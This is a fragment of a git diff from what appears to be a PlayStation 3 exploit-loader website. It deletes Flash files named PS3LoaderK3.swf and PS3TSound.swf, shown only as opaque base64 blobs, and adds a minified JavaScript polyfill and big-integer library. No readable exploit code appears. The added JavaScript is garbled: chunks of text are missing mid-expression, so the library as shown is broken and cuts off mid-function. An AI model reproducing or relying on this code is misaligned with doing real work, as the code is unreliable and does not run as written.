jc0ODA0ZDhkMWZiZTQxZDZjMGNkZWRjYTU2NjZiNjE0NTRjMzVkZDk4NzdkMjBhYmZhMDE2YTE2NDYwMDRkNGM2ZmY1YzcyZjM4Nzc1ODNhNzZlYmI2NjI3MGYzZWUwNjM2OThlYTk4YzA2MzAyMWM4MGE3NzM0YThiNjY0NzU0YmZmODg2OWZkYTgzNGE1NjA3ODIxODc1YmQxNWJlMzNhYzk4NjM3NzQ1ODcxZmMzM2NmMmIzNzI1ZGVjMzU4MDJiYTdlYzRhZTc5ZWIxOTVhMmFlZmQ5NmY5YzI3YzU2M2E5NjZkODA5NmQxOTQ3NTIzYTAxZGQ1Y2FmYjhlNjk2ZDBlYjI4M2UzZWUxNmRjZjcxM2YxOGVjZTQ2Y2M1M2ZmMjZhZDJmNDNkNzMwNWE2ZTg1OWI0MWRlNDE4NTU0OTZlOTI2MTVjNGRkMjliMWE4NzhhNTdmMGVkOWNmNDNlZjc4MmM4ZTQ0NWM0OWE1MjI5YWNkYWI3YzEyNmZlZTdmZmYwMWNhZjE4MTJlYWRhMWQ5ODk3YjE2N2MzODI4MTI1MWZjNzE2OTJiMTY3ODA0ZjZiNGY0OWZmODU3ZjY1ODUyMGVmYjI2MjZmYzJkZWVjZjZhN2UyYWY3ZTY2NmViNmQ1ZGY0Nzg3NGI3MTgxNDllMzY4MTkxZGZjOWMwNWRiOTQwYTljYjA0Y2ZiZTZhNmMxYTQ1MTE3MDY1N2M1NGNmYWU2ZTdiMzU4MGEwOTIxYzlmNWZhOWZlYjAyODgyMWMyYjhlNGJjY2Y4MzdhOTFjMTE1MTlmMWI0YTZkY2Y5NGFmYjFkYWM1MjA2NmEzZDE3NWRjZWM4MzllN2M4MDNkM2JkNjdmODljY2I1MDI3NjU4MjcxMzZkNTg2ZDU1NTJlNjdlZDk2NThkMmRkMDQ4N2I1OGQyM2I0OTE1N2RiMzZlMzM3ZWNjNDVjZGJhZjQ5NTk0YjUzZGQzMjYzZWUxZmUyYjdmYzdhMWM1NmI2ZTA3MmQyNzMyZmRhZTQwNTk5YzUyMTgyODNlNDVlODM2NDZlODkwNjY0MDVhMzI0ZDY5NGZlZDJkMDdkMzBmZDE2M2JlNjMwYzIyYjg4ZTQ2M2JmNGE0ZTY3MDBiNjUzZDJkM2ZmYzgxYmU3MzdhOWU5Y2Q1MTg0YmE0ZDc0MGRiMmU0NjE3ZTE3ZWQ1MmU1NWI2NTZjZmNmMWMyOWU0OTFiMWU0YTY4M2ZkZGQyNDNjMjFhZWU0YzZjNDJiMjc0YWIzMWQwMjBiNmZkZTU4OWFhYTY5ZTc4ZWMwNmJlOWE3NGU4YWI4Y2RhYTI3MjYzNDJhYmQ4MzdkY2Y0NWZmMGYwOTMxNjY1NTlhYzJkNTg1YzFiNGUyZTFmYzg1NWY5OTE5MGIxMmViYWNiMGZhMTBhNzU0ODhiNmY5ZWY0ZGU3OGFmNjVkYjEyNzkzYWNmY2RjMDIyMjIwYzQ2OTE2NzkwNGFkM2Q0Y2JhMjAyMTg1ZTMwZjQzMDc2YTQ4NDg0NDYwYjA5OWQ5OWNlYTEyOTc1NDdlOGIzMDE2NzNmMDI2NWQ0NWIzYmQyODk1OTgyMjc0ZjQ0Mjk1NDc4YjkyZGQzYWIyZDJmYjRhZjU0NTJkODdlOGE3ODJiOTFkNjZkOGY3YTg0MGFkZDE2YjIzYjM3Nzc4ZjQwYmQ2ZWU2ODEzZDM2ODQ0ZTY3MWI5ZjllZjM5Y2UwMDhjMTM2YWIxMGI2NWY2M2U4NGIxM2QxMzg1MWEwZGYwN2E3NzA0Y2Y4OGE0NjEwNDI0NzJmNzJjMmQ3NGMyOWMxNTUxMWE0MzZjM2UzZmZlMWRmNzA3Y2FmNWNlMDM0OTc2OTZlYzYyODY2ZGVlMDJkYTZhZmIzYzVmOGZlMjE0ZWJmOTg0ZmJiYjU1NTIxMDM1MjNlZDkwZTM5YTZhOGNkYzdjNTM0ZDFmNDg5MTljOTZhZjU3NjNmYzQ1ZTI5MzJlOTViN2EzNDA2YTIxNjA3MGNiZTUzOGIxNDNhYWQxZGZhNTIyYTM0N2Y4NTNhMWQxNjM2NDA4ZDhiZWZjNzAxZjhmNTExNGQwOGNhNDVlZTFmODI4MzdmNzVlNGM0MzUyMWNlZGVmZjRmYzMyZmE3ZmFkMjBlZDEwYmQwODIyZDA1ZmYyZGE3MWE1YjJhNDExM2M5YjZlOWRkOTMyZTcwY2RlNDU1ODAwODVjM2Q2YzNiZDZmMDIyMGRjYmE0NGEwNzg2YTM2NTQyMWUwODAxN2ZiYmE2YTI4NTE4NGYzMTU2NmYwZjRjYzJiMzI1NjE3MzRiMTkxZDQ2MTEwZWY1ZjdhN2VmNDM3YTE0ZjQzZjJmMjE5MzZmY2Q4N2ZjMzJkZGNjY2FhNjczODEyMDM0MzZmM2YwMGYzMGUwMDJhZjhkZDZiNTRmMDU4ZWNjMDBmYjFmOTI3NzI0YmMzMDQ3NWUyODhjMWZjNTBmYmJjNjIxNTgxOTY4NTE4ZTA4ODhhNTM3MDFhZA== \ No newline at end of file diff --git a/files/PS3LoaderK3.swf b/files/PS3LoaderK3.swf deleted file mode 100644 index ada991e..0000000 --- a/files/PS3LoaderK3.swf +++ /dev/null @@ -1 +0,0 @@ -YzA5ZGY5ZmJkMjlhNTdmMDc1YTI0M2FlMGFmZWVkMTdjYzQ5MTQ0MWI1ZTkyZDA3ZTY4Y2JjMmZhNzg2YmRhZjRlM2EwNWM1OWNhMjZiYmI5MDVkYzdhMWZhMzgwMTM4ODEwOTk3ZWVkYzA1YzFjM2NhZTBkMzYwYjA3MWY1NzhlODVlOGMxMTcwNTRlNmEwZDk0ZDg1YWUzN2RjOTgwZThhNDUzZjlmYWY2M2M3MTAxODcwYWMzZjYzODY0NmQxYTgwMDJlYTI2NzA2MzMwMmJmNTBhYzE5M2E0ZGZhMTY4YjUyZGMyYzdhMWY5OGIyN2YwYTk5M2VkOTIxMzRjZjczMmMyODcyMGNmNzNiNjMyZmZjMzJjNDc3NjliNTYxYjI4YWQ3ZGE0YWMxMDM1OGYyYjhhYzZmMWZhM2QyZjI1Y2QzN2U1MjkwZDc1ZDk0NjkxNmU1NTI4MWYyNTM0OTZmMmMwMzYwM2E1ZTM2NzgzYzQ1YjA5YmYyYmY2N2E1YjNmMzI4NGE4MjVjYzZkMmE3YmVmYWQ1OTU5Nzg4ODMwNWVlMzUzNTQ4ZTFhMDg0ZDJjNjk5ZDlkNTRhZWRkMmFhMmJkYzcwOWY3OTZhMDBkNDlhMzJmZmVlZTExODNlMTdjYjU5ZDI5YTFjZTFlYWUyZDNkZGJlNTczMzBhOThkZWZlY2MxMDIxNjRiZTg2ZjYyYzc5ZTEwMTUxMzc0MzI4YzdhNzIwMmRhZDVjZTg5OTZiODVmZjQ2ODM1NzdkMjI3NWQxMDE5YWFhZDBiYTkzMjM0ZmZiOTNmMzNlMGZkNjZlOWU5ZTY3ZTA4YjNjYWQ0YWNjNWNiNTdhNGIwNWJlNTY4MTZhZjFkZTY0MmQ2MzdjM2FlYmM0ODRmZTMzNTlkZDhlYjQ1ZTNmZWI1NTVhMTVlMjcwODViYjMwZTBkNjFhNGZhMjk3MGVhMzg3Y2FhY2IwM2VmZjc4ZmM5MTgwYmM5MzdjNmUzOWQwNTA4MmIzM2QyYTQzOGY4NDJjOTkxNmI3Mzk4YjA3YmQ5YjlkZDY5OGRmZmVjOGNjNjZiM2FlMTI2ZTk4N2IxNGVhYjFkMTI1YzRlNjAyNWJiYWQ1ZWNkNGVjM2ZhN2ZjZTQ5Y2FhMzkyMDYxZjk3N2I1ZDczM2YzYmRkYWE4OWJlNmE4MTFjMmI3YWUzMDc3YTYxNDE2NzViMGE5ZThiNmJlMWE0ZTAyNTNmYTVlZmVjNmU3NDAyYTEwMzk5OGIzNDc0ZWZkZjdiM2NjYWYxMmJlZjUzMGI3M2YxZGM4NmFkZDMzYWMxNWM4NWEwNGYwMDVhNmY0N2EwM2RkMmU1ZjhmZTZhYjBiNGUyYTA1Nzk5YjdhNzI1N2I5MDNhMjAyZDU0NThmYTdiMGM5MTczZDBjYjJmNDJiNDE1NjljODA2YTc3ZjNjODA4MThmZTBiY2Q0MjBjMjE5NDQ5YmVmMWMyZjk2MDAzMjlhMjczYjI3NTI5YjdmNGMyOWUwN2ZiOGU5ODhhNmJhN2UwOTI2NmU5MjJmYWI1YWViMjg3MzE2Njk3MWExYzQ4NDU4ZmFkNTZkODQ5ODhmMGNmNjA0OTM0MWRkMzVjM2JlMjhlOWVjYjg0NTMwZmJiYzQ1ZmUwMjgzNGExODRmYWJmM2M3MWI4MjQ5NjIxZDE3MzM5MTViZTAzN2FmNGU5OTg4ZjNkZThkODU4Mjk4YzQ3ODYyNWVhZjQ3YmUyNThmZWVlMjVjMWVkYzRkZjNmMWViNGEwMjM4NzlmZTBhZWE3MWY0N2YzNGJjYTVlYjY0NGVmYjcyMTE5MTU0MzdjMTQ4MmYyNDEzZDVmNmY0YmVlZDA4NDEzODhkMWY0ZjQ5YTI2MTYwZWU4MTA2MzljNmUyNzMwOWJiNjkxMGQ2NjE1NzlhZTQyNmQwNjMwN2I5OWQ3NGU4ZWFkNTk4MjE4MjA3OTNjOWZlZmE4NzI3ZGM4YjA1MjUyNDQ2Yjk1YWE1NTMxMTc1NTdhMzk1MjIxNjIzNDczMTBkYzBjMmViMzQ4MGIyMWFlMTczYjdmN2ZiM2MwNTk0YjljYjZmYzI5YjQ2ZjgxMzE4NDU0YjFjNmE5YTNlZmQ0MmUyM2U0MDEyMDIxM2QwYWUzMTczMTFjMmFkY2Q2OTYxNGQ1ZDI5NTllZDRkNWYyMDNiMzljNWU5NDk4ZGUzNDg0ODYzOGY1ODY1Yzc1ZjE0MDEzZTRmOGZiZDhhZmE3ZGU0OWRmNTZmNGRlZWNmNTdiZjA0OTY0M2JjZDRjZTFkZDU2MThjODk3NTkxNzhkY2VlMGQ5NDJmNWFhZWYzNTk0MGY3OTFhM2Q5ZTI5Mzg2ZmJkMjBlZjA2YzA3OWM5MmFlM2IwNjI5OGY1MGYyZWQwYTQ0NDIxODcwNDM5MGZmMDQwYWUzOGM2NDQ5MzgzZGNkYzMzMDQzMzQwYWMxMjgwMTI4ZTc2Yjg1ZTQzMDRiZGI5ZTJiZWU4NmU1NTk1OWZiNWU5OWRlNmQ0ZjdjOTkyMzc0YzdjYjM4MTk1NzJkZDY4YzA0ZjY3NmU3YzVhNDgxNWZlNjEzZDM1ZWY2NWJmNTgxYjNiZDM3YjBiODQyYmMwM2FmNDAwODE2ODFlYWFkYjc2MjQ2NmYzZGFkYTQ3MDI0ZTZhOWJkY2QyNmYzZTUwNDIyNjlmNWJkOGZjNjA2ZTVhY2U5ZjdkMzEyYmExMGU0MDQ5NmQ0ZDQ2MzQ1ZWFlMThiMDNjODgwYzFlNDJiYzU0ODFiNDI2NzBhN2ZmNzAxODRkNGI5N2IzMTdkZDdkNzNiOWJiZDQ3Yzk4ZWY5ZjI5NGUyODk5ZDAzNDQyZThmZmExMDlhODA3ZmMwZDgxYTZlNmM0NjM1ZmUxMjNjNDMzZjdlNjE2OTc4MWZkNjZiY2ZmZGVhNGNjYjEwM2ZlMzU2YWI1N2Q0ZTI1OTYwMWY1MGE2N2Y3MGZmOGJjZWQ2NmM5MWIxMmM1MjEwNzg3YzRiNDdjNjY0MjIzYjBiOTBkZWZjMGZkYTk0Mzc2YTMwMzYyOGRkMmJjODFkYmFiZmE3ZGUyMTRkOWUyNzM5ZDgxZDE1Yzk4NjVmM2FkZWQxNjEwYzNmYjE1OTUzZTUxNTZiNjFiYWE2ZWVjYjJmMTFjZTM5MjUwOGM2OWY5MjRmYTM0YjdiZDM4YzM0YmNiMzk0ZGI3NWNkYjQ2NjMzMmFmZTNkMzQwODg4ZWM1NjVjM2E1NGM1OTY1ZWNjMDJlZmI4ZTUwOTdhOTAyNGVmODUyZjBkZjk5ZTliYTdmMDk1OTVmMjQ3ODE1NDZkOGU2ZWNhYTM0YWZlNTM3MDI1MjEyZmJhZDQ0ZTYxYzI2NDAzNGU5NzhjOTRkZTAyYmQxY2M0MDg5NDkzNjBjYWE0MDI4ZjgyMmU3MTBlOWFjNTE1NTNmZTExNDkzNDUwOWMyYWIzNjlhM2E2ZWNkNjYyMTk4YjJmOTg0ZjlhMzdkMjY1OTRjYzcyOTVkM2ZiMmJmOTU4Yjk1OGI0YzQ0YWZiYmFmYWE1MmNhZTliZTQ1ZDc3NmJkMGIwZDE2N2Q4MWVlZmQ5ZDBmNDE1NTIyYzExNThjNDhiNzI0MmY1ZThiZjZlMzFhOTgxNDYxNTYzNjlkZTliOGJlYjRmMWM4N2QxM2Q2NTZjNzNiOTYxZmFhODg0ZWQ0YTcyMzllMmQzZDFlNTlkZDRjZDU1NGJlMjNhMzM2YjA5ZTY5MDY4M2E1MjQyMjNjOTc5ZjFjNDViNjE0MmRjZmY5NWM2M2JjNjg1YzU3MWZkMDhiYTJmNjFhYWM4N2YxMTQwOGJmODdmYTI1NWQ0ZjAwZGM5ZGIxMjBmNjNjZGUzYjZiZTE1ZTM2NjQzNjgxMmFlOWZlYTMwODc1OTM4MzQ2NmM2MDExOWM0ZTE5ZGZiMmM0YmQ3NTdiNzhjNzg1YjgxNDBmYTc4ZDE5NTU3NmViNWViYjE1OWIxMGRiODcwZWJkMDZiNGZhMjRlZDJkNzdkZjRmYmRjN2E1YzE0ZDg4YmFjYzE4N2UxZGZkZGE3NDc1M2YwMjE0OWI2YmUyMTFlNmRmMzM5OGI3Y2QxOTI0NmVkZTNlNWZlNTYyMzlkYjdiZWQxYjQ3ODI5MmFiNWJlOWFmN2IzZTFlNTAyZTdiYjViNjJmMjQ1YzVkZDE2YmQ5OGU1NjkyNzk2NzJmNDY2ODU3OTY0MWJmMmU5NmQxNDAzNDNhNDllYTQ5NmE1MzcyMGNlN2IyMTdkZDQ3NmQwMDFiOGY4ODFhODlhNTVkYjU2NGQ4ZTliZTQ4ODU2NjRhOGY2MGU5NGJlOWE1NDAwOTdiZmUxMmUyYzJkM2U5ZDgxNjRmMjZmZjUxYTM5MmMxZThmNTA1ZTA5NWY1ODg2ODRjMTAzMTRjOTk4Yzg0ZDNjZDZkYWU0MGQ0NTIxYjE2MzM4OTQ1Mzc1ZTgyMjM0ZWEwMzhlNGM4NTNlZWQ5MWExNjY2ZWFmNTYzYWNmMzkzN2EzNGNjODgyYWM5MmE2OGJkNDdjYjI2YzkzYTU5ZWE2MTQ2NGMyMzgxZTYwZTVkY2MyZmM4ODU1YjI5NzEyZDU1ZDlhYmE1NjJkMDdjMzg3ZTBlMGYxOThhMmU5OTM2OTg2OWFhZTg0YzFlZjk2ZjFhMGVhYzZjOThmZjQwMGNkMjZmMGU3MTlkZjY5ZmM0YTZiZjVmZTNkZWE3MTkwMDE4NTA4ZjY2ODlhMWM2NWZkMTk1ZTIyYzQ4NTNlMzNlN2Q1ZWJkYzk0ZmU2Njc0MGY1NmM5OWZhMDMxNmI2NWIyYTMwMjMzNTNjYjZkNWFiYzRmMmU1OWMxNDAwNmI1ZjFlOTQ2YjM4MmIxY2JmZTljNWRlYTIxYTZhZTRjMGVkOTQ1YzcwNjNkZWVmMDdjNWYyMDI1MmY5ZGE5ZmRhMzRhNjg1MjgxM2MxZGI1M2Q1ODI1ZmIwNWI2M2QyODdlOTYxYzE3MTYzMzBkMzUzZTkyYzhhMzdlMGQ0YWJjZmZhNzQ1YThjM2Y2YTJhZTkzODVhMGVhNDg3OGRlZTZlMzg5ZjQ1N2NlYmZlNTk0ODI4M2Q2NDNhYmUwM2IzMjEzMWIxYzI2YmJhNjAyZGUwMWY2ZGY2YTY0MWI1ZTA1MDhmZDljY2RhNjE0NTgxMWE1NDk5NzcyMDQ4OTFlMzZjOGY3ZDg2N2ExY2FmZTA1ZGE5ODVlYzJmMDExMDhjMjEyNGYxNjU4YjlmOTYxMGE4ODZkODczNDAyZmFiYTE2NTU4ZDA0ZjY2ODkyZTBkMDUyMjZkNGM4M2JhM2JlYjc5NmFjN2E4MzNkZTJjOTNkZDVlMjE2MzdkMjgxNDBhZTFmNWFlNTU0ODc2YTE2YWMyOTExZjk3MDExOTMxNDAzODNhNjhmMWEzNGVlZjEwOWM2MzM1NWExYTI5OWVhNjFlYmI2MzNmNDA1Yjc2ZWZhOGRjZTRlZTQ1NTAwODI1NDFmYWM1YzAwOTE5ODc5NTU4MjE4YTNlZTJhNWQ2NWJhZjZmNDJkZTc3OWUyZDZkMjU1MmE3N2MyMTk4MWNmZDA0ZjBiMDQxMTE0MWZiNGVjNjQxZmU4MmUzMmMxNWJhMGRkNjcxNjAzZTAwNzY0NTc1ODI3MjM0OTcwNzllOGJmZWM3MTEwYTQ1ZDZlNGQyMTFmNzBhYWE1MmNkNjlmZGYxOGZkYWYxODYyNDFhZDEzMGQ2YmQ4ZWMwMDczYzc2MGIxZDE2NDFlMjc3YzljNTZiN2I1MDk2ZTU5ZDgyNjJlYjRkNGNjNTdjMjA5Nzk2MDhlM2JhMmExM2FkN2I5N2EzZDIyMjAyNzg1OGVkZGVhZTM3ODhiMjQ2MmNlMDJmNmMzY2U1N2U0ZTJkZGY2NmQ2MmZlODBhZjMzNjA1ZTVhZTQyOWI4ZmRkM2ZkNzEzNTNkZGNkODQ5ZTcyZDRhMDBjYzA0N2UwM2IxYjVlNmQ4OTQ3YTI1ZTdlMWE3YjY2ODRmMTA3YjU2MTQ4ZGJhNmE3NDljNTE4MmUzNzMxZDgyMmU4YTk1ZGUzNDdiNDNjODVkN2M3ZDM2MGI1ZWQ5ODFhYWZjYTlkMWQ2YzhhMTYzM2NiOWNiYzQ5MGM5YTI1MzFjZTgyY2FkMGY2ZmExMjNmMTYyZGVlOTIxZWIxMThmYzFmZmU5OTdmMWJlZWMzMDg1NDNiOGQyODljOGJmMTVkMGJhYWI2ZjQ2YTNkYWZiMTk2MGQ0ZDU5YTFiMDc0YTZkNzcyZjUyMTM2ZDhjM2IyNjQ1NjZlMTJlNjAwNzFlOGVmYTIyZTU3NzQ1NWZmNjNmYmMxMWYwMGU0ZjE2ZDFjNGE3ODdmYzQ3NmMyYTdlZGE4MTliODNjNjEyMGU0NDJiY2JkM2M4YzhmODMyYWZkMzRjNTZjOTMwZTgzYTZiMzE4MjFkOWY1OWJlY2Q1MzAyNzNkNjU3MTg1MmZhNjE0MTUyMzI1OTE0NDhhNmM2MGFjYzM1YzY4YmE3NWE1NGM2N2QxNjk1NWM0ODEzOWI5YTZkNmE1ZTJiZmJkOWE1YzM4ZjA0NjAyNTcxOGFhNTAxMWVjYmNiMWIzOGM4NDc3MTc3ZjdmYjRlOTc4ZTkzZTU5NzBhZDdiYzNjMWRlZTA4N2JmOGFmMDlkODdmOWQxY2E5NTNkODI2MWIyYzM4MjUxN2E4MWIwYjY1N2JkMTQzYjViZWExN2E4NTZjZmZlNWVkMzBhYmQ2NDBkMjUzOTc1MWRkM2VjYmI1ZDViYWRiY2NiYWEzMDI0OWI0NzUyOTBlODJhYmI4YWU1NGFmN2JkMDUzZmUwYzI2ZTE4YjFhYjBlNTkyMTQxOTc1ZTYzMmRmODE0NGRkODk3YzJjYjQ1ZDE2ZDYxNWQ2YTFkZjlkMmRhOTBiN2RhYTc4ZGVkMWE0ZGZiYTBlMTc0ZWViYzE2YTY2YTZiNzRlOTZkNzlmZmU1ZjBlNmEzOTI5ZTdmMzgzYjA3ZGZjNTM2NzZkMzUwYzg3NDgxODhhNWFmMzQ5MzA2OGZjOWQ2MTFhZjc1NGU4ODg4ZmQxZjA0YzBiZmE3ZTE2MGMwNGUyNGM0MmJjMWRmYjYyMmM1MWExMmRiY2YxNGYyYmZmODkwNmRmYTNkZDlhMDkxYzQ3ODY1ZTc4N2QzMGEzM2FjMWRkMjc4N2VhODRhYTk1NWJhNzA0NGRmMmUzM2QxNTM1YWQ0MTBjYjFhYTBjYmZiNDliZTFlMTM5MThkNTg1M2U0MjljMDY2MzZkOWU2MDM2M2EyMGUwZTZiMWNkMDExZDIyNjI3YWViZDEwZDU5MjUyYTlhMzI4MjIwMDcxMDY3NzU0MTNjYWNkYjM0NjY3NjdjZWZkOWJmYTJjMGExYmM1MjVkNDQ4YTIyNzkzNTkyZjMwNTZmZjM5MTQzZWRjMjk1NDk3YzYxMzUyYmQwOGVlNzVhMzU5ODA1ZThkY2E1NmQ1N2EzMmZiMzFlNmFiNGFhYzJmNDMxNGVhOWFlMTBlZDIyNzU5ZTM2NjlkYjU4NzdhODYzZWMwZjAyNjMxNTRmYTIzZmMzN2NhNzg0MWFjNzY3NWVhYmM5NmMzMWVjYWMzMjY3YTMzYWVhNGE0Y2RjMTBmNmMxNWEyMDY2NGIyMDRjOWQ5ZDNlODRmMDJkNjI3MGExNTczNmYwZDYwMDg3ZjRkMWMwNzQyOGEzY2Y5ZGU1MzE1NmI1YTEzOTdhMmMzNjM5YTYxM2FlZWM1YzE0MjJmNTkzZTRlNWUxNTE4N2RkNjRiYWFjZDg4NTY0N2QyMDZmNDQxZDMxNjkwYjc2YWQ0YmQ0NjczNjE5OGZlNWI4NWI3MzhiYWQ3NzExNjUzN2U5YzZlNDM3OWZlZWZiOGNlZDU2M2NjYjI1ZGE0YjFlNTljZTk4ZDdjY2QxN2NkYzI1NjJmNzU3NDM4NTNkNTQ2NTc5NzUyYWQzODUwNWUxZGZhMTMyZDQwY2MwNmYxYzg2NjZlZWQxYzhlYzkwMDhjNzYwYWE5OGZjMmMzOGIwNzNhOTRmMmVjNDE4NDI4ZmNlMTE0OGU4OGM1YjJjZTViM2RjMzc1MTUyNTk4MWFjYjE4YzIwNWY1ODlhN2ZiZmRjOWJhODJlNWI3MmI4ZjlhZTkxYzQwNjc4MjBhZjdjZDg5ZTU2Y2Y2Mzk0NDdhOWJkNDUxMDI1ZjAzMTE1Y2ZiNDNjOTYwMjVkMmE2ZTczZGFiYWVmMGFkMWVkNmViNDNkYzMxMmUzNjJhYzc2ZTFiMTI5YzU3NTMyYTBjMjIzMDdkMmE0NWEwYzgwZTU5OThjY2YxYzBhMDczYzk1MWExMDU1MDM0MTljZWJmYWE0MGVkM2NkY2M0MzkxYTMxNzk5NGMxZWYzMmZmYjAxZmEzYWMxNTI0NzE0MGY4NDhmZTA2MjNmOGIxYTg0ZDVkMDg5NjFmMjY3ZmIyNzZlZDc3MzFhODk3YTczMDNiOTM0YmY0MjJmMzc2MDQyYWY3OWFhNDg0ZmU3ZDg1NWRmZGY3YTY1YmMwMTNiOGM2NWZkZDQ4ZmVhZDMzY2FiNDZiNTdjOGY3ZjQ0YzAzYmRmZGRlMDIxOGUzNWRkMGYxN2I1ZTJjOWY2NTQ1YzY3ZTY1YTRjM2U1NDcyMWFlYzlmNGZlZTA5OTIwZGQxMGM0YzBiMTAxMmVlYTE4NWQyNmQ1NDU5NTliMjY2NTEzOTFmMTljMDRlZGNkZjM3ZGQ5NjRlZWIyY2Q0N2MxNjEwOGQzOTEyMmVkNzJlZWY2ZmYyMTZmZjMyOTA5ZDNlNmE2YTYxZTg5Yjg4ZmE2NTA2MmU4OTkyYTYxNTc1ODE4Yjg3OTAwMzkyN2I5NWU0Yzg5ZTI3M2NmN2Y1OWJkYjUzNWZlZjYyZDEyNmYxYjhkYmIyMzg3ZmMxZjAwNzQ4ZGQwNDdjOGE4NmQ4ZjM0NDhiNGU1NjE1ZjEwNzkwNDQ3ODM4YWI2NWY4ZDBkYjUyZDkyM2IxMjVhOTIyNzhlOTE0NWEzZGViZWJhZTQyY2EzODE5NTJjZDE0MTA4NmI0YjY3ZDI0MmI4MDFmMWEwNTkyYjkxOGI5NDMyNDZmNWQxZWRiYjA3ODNkMzhlOWM0NGFhYjA4MDU3NWViZDdkNGFhYWYzNzU3ZjBjZjllMDAyNTdhODlmY2ZlMWU1MDU5YjJmMWRjMDZiMThmOTM2OTZkOGEwM2RlMDk4N2M0ZjdiYTY2NjE3NTQ2MTI5YmI2MmE1ZDZiNmUxMzUwMmQ5MGRlOGI0ZmI0ZWZkMGRhZjUzZTM5ZjcxMjI1ZTA4M2ViYjhhZjg1NzdkZDFjYzU4OTk1YWFlNzZhYTI3ZDA2NzliMDc4ODQ3YzdjMGU1OGY5MDQ0MGNmMWVmZmMyZDRmOGZlMzFmY2VhMGFmODIxZThmODliY2QwMTNiMTVkMmU4OGVlZWY5NTE5NjJmYzhkZjhlNzRlNGU0N2M2MmQxOTczNjY2OWFhNWNhMGI0NmE4MGM3ZTdjMDY1Y2I2YjQ2ZWY5MTZlZWNlZDJhOWUzZDdlZWNmYjMwMTBmOTBjZjUxODhiZWU2OWVmMTkzOTI4OTNhMTkwNWE4NWEwNTZhNjBiODBkZjMxMTQ5OTFjN2Y2ZDI1Nzk4ZDBkZGI5NmFiYjUzYmQwZGJkMWM4MTgzODEyZjBiYWM1ZjRiNDAwYWUyYmVmYTI4YTE3ZTE0OTc0MWJiZDA2OWExYTAxNDBmNTIyMjliNWNiNTMxMjZjNzgzMzA4YjEzM2JiN2VkYjEyNzJhMzc4M2FjMTJiZTBmNTQ2ZjcxYjkyNWZlZWJiOGUwMjhhODMzMmNhM2Q1NDIxZGRjMTg2MWQzOTcyZDA2MDA2M2FhYWFmZTE4NGFkOTMyNGVmYTk1OGI0ZGYwZDlhOTMyZTJhZjQzNWQ3YTJjNDBhOWE0ZWFlNmMxNmI5ZmQ1NmQ5MWU0MGZhYWRkYmQxYzk2MDk3MGRiY2RhYjllZjU5NTkzODFhOGZhNDVhYTFjZWI0OWIzMTNkNjY4OWM2NGY4Njc5MTUxMDMzMzYyZDNhNGU4OWE0MGE0YWVmY2Y3MzU2MGIyMTQ0Y2Y4OTMyN2ZmZGM5MzMxMzM5MTNiY2JlZWJjNDQ1ZTUzODRhNWI5MjEzMDliMGVjODZlMzFhMWI3MWM5NzE4ODUxZjY3OTUzZDAyYjkwYzQ2NjFlMGM5N2JjN2IwYzUxNjI0ZjQzZTU2YTAzMGM5MDRiZDkxNDc1Zjg4OGRjNjQ2MGUwMjdmYWEyMTgzMmJjODUxMWY1YjE3MzRhY2M3YjAyM2NkYzA4OGNiZTI3MjAxMmQ2YjM5ZTJmYWY2MDVjMzMzZjljMjBjMWU4ZTZhYTBlM2I5ZjQ1YTM1NWM3YjJkYjRkMTZiMTcxNjI3MGI3NDI2ZWZiZWU3YjUxNzc3MTM1NWI5MzJlMWUzOGE4NWFhMTg5OTc3MGJkNzFkZWVlZDJjNjRmZWFlZTViZDg3ZGFlYjI5MWU3NWQwZWRjNGFlNWIxZmM4NWJkOWNlNTgxOTE5NjgxYTZhZWYzNTA0NTlkODQzMjJmMzVhYTg4NzY2NWIwMTk3NTdjYjNlMmUyNzk3YzM0M2YxNWZmOTljMDIxMjdmMzVmZTcxOTU5NTIyZWY3M2JiYzA4ZWJkMmFhYjc4YWQwMjEzZmRjNTgxOWMyZGQ0MzM0N2JiNDdlZTAxNWEzZGMxZjRiYTg0OWE5MWRjZTk3OWI5YTgxYTdjZTgxY2FlNmI0ZWM3MGI3ZTgxZjJl \ No newline at end of file diff --git a/files/PS3TSound.swf b/files/PS3TSound.swf deleted file mode 100644 index d9c23bf..0000000 Binary files a/files/PS3TSound.swf and /dev/null differ diff --git a/files/biginteger.min.js b/files/biginteger.min.js new file mode 100644 index 0000000..438b31d --- /dev/null +++ b/files/biginteger.min.js @@ -0,0 +1 @@ +"use strict";function assignToObject(t,e){return"function"!=typeof Object.assign&&Object.defineProperties(Object,{assign:{value:function(t,e){if(null==t)throw new TypeError("Cannot convert undefined or null to object");for(var r=Object(t),n=1;nthis.length)&&(e=this.length),this.substring(e-t.length,e)===t}),Array.isArray||(Array.isArray=function(t){return"[object Array]"===Object.prototype.toString.call(t)}),Array.prototype.forEach||(Array.prototype.forEach=function(t,e){e=e||window;for(var r=0;r0?Math.floor(t):Math.ceil(t)}function d(t,r){var n,i,o=t.length,s=r.length,a=new Array(o),c=0,l=e;for(i=0;i=l?1:0,a[i]=n-c*l;for(;i0&&a.push(c),a}function y(t,e){return t.length>=e.length?d(t,e):d(e,t)}function v(t,r){var n,i,o=t.length,s=new Array(o),a=e;for(i=0;i0;)s[i++]=r%a,r=Math.floor(r/a);return s}function m(t,r){var n,i,o=t.length,s=r.length,a=new Array(o),c=0,l=e;for(n=0;n0;)s[i++]=c%a,c=Math.floor(c/a);return s}function S(t,e){for(var r=[];e-- >0;)r.push(0);return r.concat(t)}function A(t,r,n){return new a(t=0;--n)o=(s=o*l+t[n])-(i=g(s/r))*r,c[n]=0|i;return[c,0|o]}function _(t,r){var n,i,o=V(r),l=t.value,d=o.value;if(0===d)throw new Error("Cannot divide by zero");if(t.isSmall)return o.isSmall?[new c(g(l/d)),new c(l%d)]:[s[0],t];if(o.isSmall){if(1===d)return[t,s[0]];if(-1==d)return[t.negate(),s[0]];var y=Math.abs(d);if(y=0;i--){for(n=g-1,m[i+p]!==y&&(n=Math.floor((m[i+p]*g+m[i+p-1])/y)),o=0,s=0,c=b.length,a=0;al&&(o=(o+1)*g),n=Math.ceil(o/s);do{if(L(a=j(r,n),f)<=0)break;n--}while(n);u.push(n),f=m(f,a)}return u.reverse(),[h(u),h(f)]}(l,d))[0];var w=t.sign!==o.sign,S=n[1],A=t.sign;return"number"==typeof i?(w&&(i=-i),i=new c(i)):i=new a(i,w),"number"==typeof S?(A&&(S=-S),S=new c(S)):S=new a(S,A),[i,S]}function L(t,e){if(t.length!==e.length)return t.length>e.length?1:-1;for(var r=t.length-1;r>=0;r--)if(t[r]!==e[r])return t[r]>e[r]?1:-1;return 0}function I(t){var 